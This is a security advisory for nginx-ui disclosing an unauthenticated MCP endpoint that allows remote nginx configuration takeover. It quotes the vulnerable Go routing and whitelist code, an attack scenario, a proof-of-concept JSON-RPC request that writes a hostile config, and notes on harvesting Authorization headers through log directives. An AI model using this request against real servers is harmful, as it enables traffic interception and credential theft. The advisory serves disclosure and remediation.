Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

Critical **0xJacky** published **GHSA-h6c2-x2m2-mwhf** 3 weeks ago

Package

nginx-ui (Go)

Affected versions

all versions

Patched versions

None

Description

Summary

The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: `/mcp` and `/mcp_message`. While `/mcp` requires both IP whitelisting and authentication (`AuthRequired()` middleware), the `/mcp_message` endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details

Vulnerable Code

`mcp/router.go:9-17` - Auth asymmetry between endpoints

```
func InitRouter(r *gin.Engine) {
    r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
    r.Any("/mcp_message", middleware.IPWhiteList(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
```

```
        })
}
```

The `/mcp` endpoint has `middleware.AuthRequired()`, but `/mcp_message` does not. Both endpoints route to the same `mcp.ServeHTTP()` handler, which processes all MCP tool invocations.

`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all

```
func IPWhiteList() gin.HandlerFunc {
    return func(c *gin.Context) {
        clientIP := c.ClientIP()
        if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP ==
            c.Next()
            return
        }
        // ...
    }
}
```

When `IPWhiteList` is empty (the default - `settings/auth.go` initializes `Auth{}` with no whitelist), the middleware allows all requests through. This is a fail-open design.

Available MCP Tools (all invocable without auth)

From `mcp/nginx/`:

- `restart_nginx` - restart the nginx process
- `reload_nginx` - reload nginx configuration
- `nginx_status` - read nginx status

From `mcp/config/`:

- `nginx_config_add` - create new nginx config files
- `nginx_config_modify` - modify existing config files
- `nginx_config_list` - list all configurations
- `nginx_config_get` - read config file contents
- `nginx_config_enable` - enable/disable sites
- `nginx_config_rename` - rename config files
- `nginx_config_mkdir` - create directories
- `nginx_config_history` - view config history
- `nginx_config_base_path` - get nginx config directory path

Attack Scenario

1. Attacker sends HTTP requests to `http://target:9000/mcp_message` (default port)
2. No authentication is required - IP whitelist is empty by default

3. Attacker invokes `nginx_config_modify` with `relative_path="nginx.conf"` to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs `Authorization` headers)
4. `nginx_config_add` auto-reloads nginx (`config_add.go:74`), or attacker calls `reload_nginx` directly
5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC

1. The auth asymmetry is visible by comparing the two route registrations in `mcp/router.go`:

```
// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context)

// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c)
```

Both call the same `mcp.ServeHTTP(c)` handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From `settings/auth.go`:

```
var AuthSettings = &Auth{
    BanThresholdMinutes: 10,
    MaxAttempts:         10,
    // IPWhiteList is not initialized - defaults to nil/empty slice
}
```

And the middleware at `internal/middleware/ip_whitelist.go:14` passes all requests when the list is empty:

```
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "1 0
    c.Next()
    return
}
```

3. Config writes auto-reload nginx. From `mcp/config/config_add.go`:

```
err := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload)                 // Line 74: immediate reload
```

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

```
POST /mcp_message HTTP/1.1
Content-Type: application/json
```

```
{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; a
      "base_dir": "conf.d",
      "overwrite": true,
      "sync_node_ids": []
    }
  },
  "id": 1
}
```

No `Authorization` header is needed. The config is written and nginx reloads immediately.

Impact

- **Complete nginx service takeover**: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart
- **Traffic interception**: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit
- **Service disruption**: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services
- **Configuration exfiltration**: All existing nginx configs are readable via `nginx_config_get`, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers
- **Credential harvesting**: By injecting `access_log` directives with custom `log_format` patterns, the attacker can capture `Authorization` headers from administrators accessing nginx-ui, enabling escalation to the REST API

Remediation

Add `middleware.AuthRequired()` to the `/mcp_message` route:

```
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
    func(c *gin.Context) {
        mcp.ServeHTTP(c)
    })
```

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

Severity

Critical 9.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-33032

Weaknesses

▶ CWE-306

Credits

 **yotampe-pluto** Reporter